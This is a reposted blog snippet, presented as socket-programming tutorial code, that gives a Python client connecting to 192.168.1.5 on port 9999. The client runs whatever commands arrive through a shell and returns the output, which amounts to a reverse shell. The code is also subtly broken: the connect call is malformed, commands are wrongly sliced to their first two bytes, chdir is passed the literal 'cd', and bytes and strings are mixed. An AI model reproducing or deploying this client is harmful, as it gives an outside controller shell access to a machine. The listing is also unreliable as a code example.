TCP/IP Socket Programming - 03 Client.py

# Client.py

import socket
import os
import subprocess

s = socket.socket()
host = '192.168.1.5'
port = 9999

s.connect(host,port)

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[:2].decode("utf-8"))
        
    if len(data) > 0:
        cmd = subprocess.Popen(data[:2].decode("utf-8"),shell='True',stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,'utf-8')
        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str) + currentWD)
        
        print(output_str)
        
发布了208 篇原创文章 · 获赞 58 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/f2157120/article/details/104796647